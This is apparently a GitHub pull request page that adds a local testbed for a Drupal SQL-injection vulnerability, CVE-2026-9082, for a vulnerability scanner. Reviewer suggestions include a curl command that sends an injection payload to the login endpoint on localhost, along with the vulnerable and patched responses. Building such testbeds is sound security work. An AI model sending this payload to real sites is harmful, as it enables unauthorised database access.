Skip to content

TestBeds/CVE-2026-9082 - #236

Open
sanjaymahajan14 wants to merge 1 commit into
google:mainfrom
sanjaymahajan14:testbeds/cve-2026-9082
Open

TestBeds/CVE-2026-9082#236
sanjaymahajan14 wants to merge 1 commit into
google:mainfrom
sanjaymahajan14:testbeds/cve-2026-9082

Conversation

@sanjaymahajan14

Copy link
Copy Markdown
Contributor

Added testbed for Drupal CVE-2026-9082. Please review and approve it.

@robert-doyensec robert-doyensec left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks good, please add instructions to test the vulnerability without the Tsunami plugin

Admin Password: admin@123

Admin Email: admin@example.com

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
### Testing the vulnerability:
```
curl -X POST http://localhost:8080/user/login\?_format\=json\&check\=1 -H 'Content-Type: application/json' -d "{\"name\":{\"0\":\"x\",\"0||1/(SELECT CASE WHEN (1=1) THEN 0 END)\":\"x\"},\"pass\":\"x\"}"
```
Response:
```
The website encountered an unexpected error. Try again later.
```


Admin Password: admin@123

Admin Email: admin@example.com No newline at end of file

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
Admin Email: admin@example.com
Admin Email: admin@example.com
### Testing the vulnerability:
```
curl -X POST http://localhost:8081/user/login\?_format\=json\&check\=1 -H 'Content-Type: application/json' -d "{\"name\":{\"0\":\"x\",\"0||1/(SELECT CASE WHEN (1=1) THEN 0 END)\":\"x\"},\"pass\":\"x\"}"
```
Response:
```
{"message":"Sorry, unrecognized username or password."}
```

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants